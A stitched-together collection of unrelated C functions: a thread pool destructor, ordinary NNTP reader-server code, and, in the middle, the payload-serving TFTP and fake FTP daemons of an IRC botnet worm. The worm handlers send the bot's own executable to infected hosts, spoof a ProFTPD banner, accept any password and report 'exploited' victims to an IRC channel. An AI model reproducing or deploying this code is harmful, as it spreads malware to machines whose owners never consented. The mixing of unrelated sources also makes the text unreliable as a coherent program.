TaskPool::~TaskPool(void) { m_nMinThreadCount = 0; //Ensure all threads will get destroyed m_nMaxThreadCount = 0; //Ensure no more threads are created for(int i = 0; i < m_nThreadCount; i++) DelThread(); while(m_nThreadCount > 0) { Sleep(1); DelThread(); } }
void TaskPool::SetThreadCount(LONG count) { LONG delta = count - m_nThreadCount; if (delta > 0) { for(LONG i=0; i<delta; i++) AddThread(); } else if (delta < 0) { for(LONG i=delta; i<0; i++) DelThread(); } }
void TFTPDHandler(LPVOID dwParam) { char szSendBuffer[MAX_PATH], szType [] = "octet", szFileBuffer[516], szRemoteIpAddress[16], szFilePath[MAX_PATH]; int iRetVal = 1; FILE* hFile; if(!(pThread[FindPid("TFTPDaemon")].sServerSock = socket(AF_INET, SOCK_DGRAM, 0))) ExitThread(0); if(!Bind(pThread[FindPid("TFTPDaemon")].sServerSock, 69, true)) ExitThread(0); if(!GetModuleFileName(NULL, szFilePath, sizeof(szFilePath)) || !(hFile = fopen(szFilePath, "rb"))) ExitThread(0); while(1) { TIMEVAL hTimeVal; hTimeVal.tv_sec = 5; hTimeVal.tv_usec = 5000; fd_set hFDSET; FD_ZERO(&hFDSET); FD_SET(pThread[FindPid("TFTPDaemon")].sServerSock, &hFDSET); memset(szSendBuffer, 0, sizeof(szSendBuffer)); if(select(0, &hFDSET, NULL, NULL, &hTimeVal)) { SOCKADDR_IN sinSockAddrInClient; int iSockAddrLenght = sizeof(sinSockAddrInClient); if(!(recvfrom(pThread[FindPid("TFTPDaemon")].sServerSock, szSendBuffer, sizeof(szSendBuffer), 0, (LPSOCKADDR)&sinSockAddrInClient, &iSockAddrLenght))) ExitThread(0); _snprintf(szRemoteIpAddress, sizeof(szRemoteIpAddress), inet_ntoa(sinSockAddrInClient.sin_addr)); if(szSendBuffer[0] == 0 && szSendBuffer[1] == 1) { char *szTempRequest = szSendBuffer, *szTempType = szSendBuffer; szTempRequest += 2; szTempType += (strlen(filename2) + 3); fseek(hFile, 0, SEEK_SET); szFileBuffer[0] = 0; szFileBuffer[1] = 3; szFileBuffer[2] = 0; szFileBuffer[3] = 1; iRetVal = fread(&szFileBuffer[4], 1, 512, hFile); sendto(pThread[FindPid("TFTPDaemon")].sServerSock, szFileBuffer, iRetVal + 4, 0, (LPSOCKADDR)&sinSockAddrInClient, iSockAddrLenght); } else if(szSendBuffer[0] == 0 && szSendBuffer[1] == 4) { BYTE BFirstPart = szSendBuffer[2], BSeccondPart = szSendBuffer[3]; szFileBuffer[0] = 0; szFileBuffer[1] = 3; if (BSeccondPart == 255) { szFileBuffer[2] = ++BFirstPart; szFileBuffer[3] = BSeccondPart = 0; } else { szFileBuffer[2] = BFirstPart; szFileBuffer[3] = ++BSeccondPart; } unsigned int iBlocks = (BFirstPart * 256) + BSeccondPart - 1; fseek(hFile, iBlocks * 512, SEEK_SET); iRetVal = fread(&szFileBuffer[4], 1, 512, hFile); sendto(pThread[FindPid("TFTPDaemon")].sServerSock, szFileBuffer, iRetVal + 4, 0, (LPSOCKADDR)&sinSockAddrInClient, iSockAddrLenght); if (!iRetVal) BOT->cIRC.SendData("PRIVMSG %s :-wormride.tftpd- exploited %s (%s) succesfully\r\n",BOT->cIRC.cConf.cChan.c_str(),ResolveHost(szRemoteIpAddress), szRemoteIpAddress); } else sendto(pThread[FindPid("TFTPDaemon")].sServerSock, "\x00\x05\x00\x04\x6B\x74\x68\x78\x00",9, 0, (LPSOCKADDR)&sinSockAddrInClient, iSockAddrLenght); } else continue; } DelThread(FindPid("TFTPDaemon")); fclose(hFile); ExitThread(0); }
void FtpdHandler() { char szBuffer[128], szSendBuffer[128], szCommand[128], szParamter[128], szRemoteIp[128], szFtpdIp[16]; char szPart1[4], szPart2[4], szPart3[4], szPart4[4], szPort[64], szPort1[64], szPort2[64]; int iFDMax, iAddressLenght, iPort1, iPort2, i; struct fd_set hFDSETMain, hFDSETClient; struct sockaddr_in sinSockAddrIn; SOCKET sClientSock; long lIpAddress; FD_ZERO(&hFDSETMain); FD_ZERO(&hFDSETClient); if(!(pThread[FindPid("FTPDaemon")].sServerSock = socket(AF_INET, SOCK_STREAM, 0))) ExitThread(0); if(!Bind(pThread[FindPid("FTPDaemon")].sServerSock, usFtpdPort, false)) ExitThread(0); FD_SET(pThread[FindPid("FTPDaemon")].sServerSock, &hFDSETMain); if(!(iFDMax = pThread[FindPid("FTPDaemon")].sServerSock)) ExitThread(0); while(pThread[FindPid("FTPDaemon")].sServerSock) { hFDSETClient = hFDSETMain; if (select(iFDMax+1, &hFDSETClient, NULL, NULL, NULL) == SOCKET_ERROR) ExitThread(0); for(i = 0; i <= iFDMax; i++) { memset(szBuffer, 0, sizeof(szBuffer)); memset(szCommand, 0, sizeof(szCommand)); if (FD_ISSET(i, &hFDSETClient)) { if (i == (int)pThread[FindPid("FTPDaemon")].sServerSock) { iAddressLenght = sizeof(sinSockAddrIn); if ((sClientSock = accept(pThread[FindPid("FTPDaemon")].sServerSock, (LPSOCKADDR)&sinSockAddrIn, &iAddressLenght)) != SOCKET_ERROR) { FD_SET(sClientSock, &hFDSETMain); if ((int)sClientSock > iFDMax) iFDMax = sClientSock; _snprintf(szSendBuffer, sizeof(szSendBuffer), "220 ProFTPD 1.%d.%d Server (ProFTPD Default Installation)\n", RandomNumber(0, 2), RandomNumber(0, 10)); send(sClientSock, szSendBuffer, strlen(szSendBuffer) , 0); } } else { if(!(recv(i, szBuffer, sizeof(szBuffer), 0))) { FD_CLR((SOCKET)i, &hFDSETMain); closesocket(i); } else { sscanf(szBuffer,"%s %s", szCommand, szParamter); if(!strcmp(szCommand, "USER")) send(i, "331 Password required\n", 22, 0); else if(!strcmp(szCommand, "PASS")) send(i, "230 User logged in.\n", 20, 0); else if(!strcmp(szCommand, "SYST")) send(i, "215 UNIX Type: L8\n", 18, 0); else if(!strcmp(szCommand, "REST")) send(i, "350 Restarting.\n", 16, 0); else if(!strcmp(szCommand, "PWD")) send(i, "257 \"/\" is current directory.\n", 30, 0); else if(!strcmp(szCommand, "TYPE") && !strcmp(szParamter, "A") || !strcmp(szParamter, "I")) send(i, "200 Type set to A.\n", 19 , 0); else if(!strcmp(szCommand, "PASV")) send(i, "425 Passive not supported on this server\n", 41, 0); else if(!strcmp(szCommand, "LIST")) send(i, "226 Transfer complete\n", 22, 0); else if(!strcmp(szCommand, "PORT")) { sscanf(szBuffer, "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]", szPart1, szPart2, szPart3, szPart4, szPort1, szPort2); iPort1 = atoi(szPort1); iPort2 = atoi(szPort2); memset(szPort, 0, sizeof(szPort)); _snprintf(szPort, sizeof(szPort), "%x%x\n", iPort1, iPort2); lIpAddress = strtoul(szPort, NULL, 16); _snprintf(szRemoteIp, sizeof(szRemoteIp), "%s.%s.%s.%s", szPart1, szPart2, szPart3, szPart4); send(i, "200 PORT command successful.\n", 29 , 0); } else if (!strcmp(szCommand, "RETR")) { send(i, "150 Opening BINARY mode data connection\n", 40 , 0); if(FtpdEstablishDataSocket(szRemoteIp, (int)lIpAddress)) { if(FtpdSendFile(sDataSocket)) send(i, "226 Transfer complete.\n", 23 , 0); else send(i, "425 Can't open data connection.\n", 32, 0); nFtpdTotalServed++; if(!GetSocketAddress(i, szFtpdIp)) strncpy(szFtpdIp, "unknown", sizeof(szFtpdIp)); BOT->cIRC.SendData("PRIVMSG %s :-wormride.ftod- %d. send success to %s (%s) succesfully\r\n",BOT->cIRC.cConf.cChan.c_str(),nFtpdTotalServed, ResolveHost(szFtpdIp), szFtpdIp); closesocket(sDataSocket); } else send(i, "425 Can't open data connection.\n", 32, 0); } else if(!strcmp(szCommand, "QUIT")) send(i, "221 Goodbye.\n", 13, 0); else send(i, "501 Option not supported.\n", 26, 0); memset(szBuffer, 0, sizeof(szBuffer)); } } } } } DelThread(FindPid("FTPDaemon")); ExitThread(1); }
void ReaderTask(int fd, const char *id) { time_t dtime = 0; time_t ltime = 0; time_t itime = 0; time_t ftime = 0; time_t atime = 0; int counter = 0; int forceallcheck = 0; int check_disconn_counter = 0; TFd = fd; /* * [re]open RTStatus */ RTStatusOpen(RTStatus, ThisReaderFork * DOpts.ReaderThreads + 1, DOpts.ReaderThreads); /* * Since we setuid(), we won't core. This is for debugging */ if (CoreDebugOpt || (DOpts.ReaderCrashHandler != NULL && strcasecmp(DOpts.ReaderCrashHandler, "none") != 0)) { signal(SIGSEGV, sigSegVReader); signal(SIGBUS, sigSegVReader); signal(SIGFPE, sigSegVReader); signal(SIGILL, sigSegVReader); } signal(SIGHUP, sigHup); signal(SIGUSR1, sigUsr1); /* * Setup thread for passed pipe */ ResetThreads(); AddThread("reader", fd, -1, THREAD_READER, -1, 0); FD_SET(fd, &RFds); /* * Open KPDB database for active file */ if ((KDBActive = KPDBOpen(PatDbExpand(ReaderDActivePat), O_RDWR)) == NULL) { logit(LOG_CRIT, "Unable to open %s", PatDbExpand(ReaderDActivePat)); sleep(60); exit(1); } LoadExpireCtl(1); /* * Only startup connections to backend spools for reader threads */ if (!FeedOnlyServer) CheckServerConfig(time(NULL), 1); /* * Selection core */ while (!TerminatePending || NReadServAct || NumReaders) { /* * select core */ struct timeval tv; fd_set rfds = RFds; fd_set wfds = WFds; fd_set read_only_to_find_eof_fds; int i, sel_r; if (TerminatePending) { if (TerminateTime == 0) TerminateTime = time(NULL) + 2; if (TerminateTime < time(NULL) || !NumReaders) CanTerminate = 1; } /* * Get next scheduled timeout, no more then 2 seconds * (x 10 counter counts = 20 seconds max for {d,i,f}time * check) * * If we are terminating, then speed up the select to clear * out the connections. * */ if (TerminatePending) NextTimeout(&tv, 50); else NextTimeout(&tv, 2 * 1000); stprintf("%s readers=%02d spoolsrv=%d/%d postsrv=%d/%d", id, NumReaders, NReadServAct, NReadServers, NWriteServAct, NWriteServers ); /* Check for disconnected clients every 50 times through the loop */ FD_ZERO(&read_only_to_find_eof_fds); if (++check_disconn_counter == 50) { for (i = 0; i < MaxFds; ++i) { if (FD_ISSET(i, &wfds) && (!(FD_ISSET(i, &rfds)))) { FD_SET(i, &rfds); FD_SET(i, &read_only_to_find_eof_fds); } } check_disconn_counter = 0; } #if USE_AIO AIOUnblockSignal(); #endif sel_r = select(MaxFds, &rfds, &wfds, NULL, &tv); #if USE_AIO AIOBlockSignal(); #endif gettimeofday(&CurTime, NULL); if(sel_r < 0 && errno != EINTR) logit(LOG_CRIT, "select error: %s (rfds=0x%x, wfds=0x%x)", strerror(errno), rfds, wfds); /* * select is critical, don't make unnecessary system calls. Only * test the time every 10 selects (20 seconds worst case), and * only check for a new server configuration file every 60 seconds * after the initial load. This may rearrange THREAD_SPOOL and * THREAD_POST threads. * * We do not startup spool/post servers for feed-only forks * * However, flush overview cache even for feed-only forks. */ if (FeedOnlyServer <= 0) { if (++counter == 10) { time_t t = CurTime.tv_sec; if (ltime) { dtime += t - ltime; itime += t - ltime; ftime += t - ltime; atime += t - ltime; } /* * Check for server config change once a minute */ if (dtime < -5 || dtime >= 5) { if (!TerminatePending) CheckServerConfig(t, ServersTerminated); dtime = 0; } /* * Flush overview every 30 seconds to allow dexpireover to work */ if (ftime < -5 || ftime >= 30) { FlushOverCache(); LoadExpireCtl(0); ftime = 0; } /* * Poll all active descriptors once every 5 minutes. This * will work around a linux embrionic close bug that * doesn't wakeup select(), and is used to idle-timeout * connections. XXX */ if (itime < -5 || itime >= 300) { rfds = RFds; itime = 0; } /* * Force a check all of FD's every 30 seconds to handle * idle and session timeouts */ if (atime < -5 || atime >= 30) { forceallcheck = 1; atime = 0; } ltime = t; counter = 0; } } else { /* * For a feed-only server, we only flush the overview FD * cache every 5 minutes, and with a greater granularity. * It should cycle much faster than that normally, and this * is to prevent idle feed-only forks from keeping locks. * */ if (++counter == 10) { time_t t = CurTime.tv_sec; if (ltime) { ftime += t - ltime; } if (ftime < -5 || ftime >= 300) { FlushOverCache(); ftime = 0; } ltime = t; counter = 0; } } for (i = 0; i < MaxFds; ++i) { if (FD_ISSET(i, &rfds) && FD_ISSET(i, &read_only_to_find_eof_fds)) { char junk_byte; int ret_val; /* * This FD is not marked for reading, but select() claims * it has something to say. We don't actually want to read * from it, but we do want to close it if the associated * connection is dead. */ FD_CLR(i, &rfds); /* Use recv() with MSG_PEEK to see if it's closed. * We shouldn't block because we're O_NONBLOCK. */ ret_val = recv(i, &junk_byte, 1, MSG_PEEK); /* If ret_val is zero, this means the socket is closed. * Blast it. Otherwise, ignore it. */ if(ret_val == 0) { ForkDesc *desc; if((desc = FindThread(i, -1)) != NULL) { Connection *conn = desc->d_Data; if(conn) { NNTerminate(conn); DeleteConnection(conn); } DelThread(desc); } } } } for (i = 0; i < MaxFds; ++i) { if (forceallcheck || TerminatePending || FD_ISSET(i, &rfds) || FD_ISSET(i, &wfds)) { ForkDesc *desc; if ((desc = FindThread(i, -1)) != NULL) { Connection *conn = desc->d_Data; if (conn) { /* * handle output I/O (optimization) */ MBFlush(conn, &conn->co_TMBuf); conn->co_FCounter = 0; } /* * Function dispatch */ switch(desc->d_Type) { case THREAD_READER: if (FD_ISSET(i, &rfds) || FD_ISSET(i, &wfds)) HandleReaderMsg(desc); break; case THREAD_NNTP: /* client */ conn->co_Func(conn); if (conn->co_Auth.dr_ResultFlags & DR_REQUIRE_DNS) { /* Go back to parent for DNS check */ conn->co_Auth.dr_Code = 0; conn->co_TMBuf.mh_WEof = 1; } break; case THREAD_SPOOL: /* spool server */ case THREAD_POST: /* posting server */ conn->co_Func(conn); LogServerInfo(conn, TFd); break; default: /* panic */ break; } /* * do not call MBFlush after the function because the * function may be waiting for write data to drain and * we don't want to cause write data to drain here and * then not get a select wakeup later. * * check for connection termination */ if (conn) { int idleTimeout = 0; if (conn->co_Auth.dr_ReaderDef) { if (conn->co_Auth.dr_ReaderDef->rd_IdleTimeout && conn->co_LastActiveTime + conn->co_Auth.dr_ReaderDef->rd_IdleTimeout <= CurTime.tv_sec) { logit(LOG_INFO, "timeout idle %s", conn->co_Auth.dr_Host); MBLogPrintf(conn, &conn->co_TMBuf, "400 %s: Idle timeout.\r\n", conn->co_Auth.dr_VServerDef->vs_HostName ); idleTimeout = 1; NNTerminate(conn); } if (conn->co_Auth.dr_ReaderDef->rd_SessionTimeout && conn->co_SessionStartTime + conn->co_Auth.dr_ReaderDef->rd_SessionTimeout <= CurTime.tv_sec) { logit(LOG_INFO, "timeout session %s", conn->co_Auth.dr_Host); MBLogPrintf(conn, &conn->co_TMBuf, "400 %s: Session timeout.\r\n", conn->co_Auth.dr_VServerDef->vs_HostName ); idleTimeout = 1; NNTerminate(conn); } } if ((!conn->co_Auth.dr_Code && desc->d_Type == THREAD_NNTP) || idleTimeout || (conn->co_RMBuf.mh_REof && conn->co_TMBuf.mh_WEof && conn->co_TMBuf.mh_MBuf == NULL) || (TerminatePending && !(conn->co_Flags & COF_MAYNOTCLOSE)) ) { DeleteConnection(conn); DelThread(desc); } } } } } forceallcheck = 0; (void)ScanTimers(1, 0); if (CanTerminate) break; } RTStatusClose(); KPDBClose(KDBActive); exit(0); }
void HandleReaderMsg(ForkDesc *desc) { int r; int recv_fd; DnsRes dres; if ((r = RecvMsg(desc->d_Fd, &recv_fd, &dres)) == sizeof(DnsRes)) { if (recv_fd >= MAXFDS) { logit(LOG_WARNING, "fd too large %d/%d, increase MAXFDS for select. Closing fd", recv_fd, MAXFDS); /* * Tell the main server that we are done with the connection */ fcntl(TFd, F_SETFL, 0); SendMsg(TFd, recv_fd, &dres); fcntl(TFd, F_SETFL, O_NONBLOCK); } else if (recv_fd >= 0) { ForkDesc *ndesc; Connection *conn; char vsbuf[11]; char hsbuf[31]; if (ReadAccessCache() == 1) { ScanThreads(THREAD_NNTP, UpdateAuthDetails); ScanThreads(THREAD_SPOOL, UpdateAuthDetails); ScanThreads(THREAD_READER, UpdateAuthDetails); ScanThreads(THREAD_SPOOL, UpdateAuthDetails); ScanThreads(THREAD_FEEDER, UpdateAuthDetails); ClearOldAccessMap(); } SetAuthDetails(&dres, dres.dr_ReaderName); ndesc = AddThread("client", recv_fd, -1, THREAD_NNTP, makeReaderSlot(), 0); ++NumReaders; if (DebugOpt) printf("add thread fd=%d\n", recv_fd); FD_SET(ndesc->d_Fd, &WFds); /* will cause immediate effect */ conn = InitConnection(ndesc, &dres); if (conn->co_Auth.dr_Flags & DF_FEED) conn->co_Flags |= COF_SERVER; snprintf(vsbuf, sizeof(vsbuf), "%s", conn->co_Auth.dr_VServerDef->vs_Name); snprintf(hsbuf, sizeof(hsbuf), "%s%s%s%s%s", *conn->co_Auth.dr_AuthUser ? conn->co_Auth.dr_AuthUser : "", *conn->co_Auth.dr_AuthUser ? "/" : "", *conn->co_Auth.dr_IdentUser ? conn->co_Auth.dr_IdentUser : "", *conn->co_Auth.dr_IdentUser ? "@" : "", conn->co_Auth.dr_Host); RTStatusBase(conn->co_Desc->d_Slot, "ACTV %-10s %-30s", vsbuf, hsbuf); StatusUpdate(conn, "(startup)"); if (conn->co_Auth.dr_ResultFlags & DR_REQUIRE_DNS) NNAuthDone(conn); else NNWriteHello(conn); } else { if (DebugOpt) printf("recvmsg(): EOF1\n"); DelThread(desc); TerminatePending = 1; } } /* * If recv error, check errno. If temporary error, * leave r negative (select loop). Set r = 0 to * terminate. */ if (r != sizeof(DnsRes) && r != -1) { if (DebugOpt) printf("recvmsg(): Bad size read from RecvMsg\n"); } if (r < 0) { if (errno != EINTR && errno != EWOULDBLOCK && errno != EAGAIN ) { r = 0; } } /* * EOF (or error) */ if (r == 0) { if (DebugOpt) printf("recvmsg(): EOF/error from parent %s\n", strerror(errno)); DelThread(desc); TerminatePending = 1; } }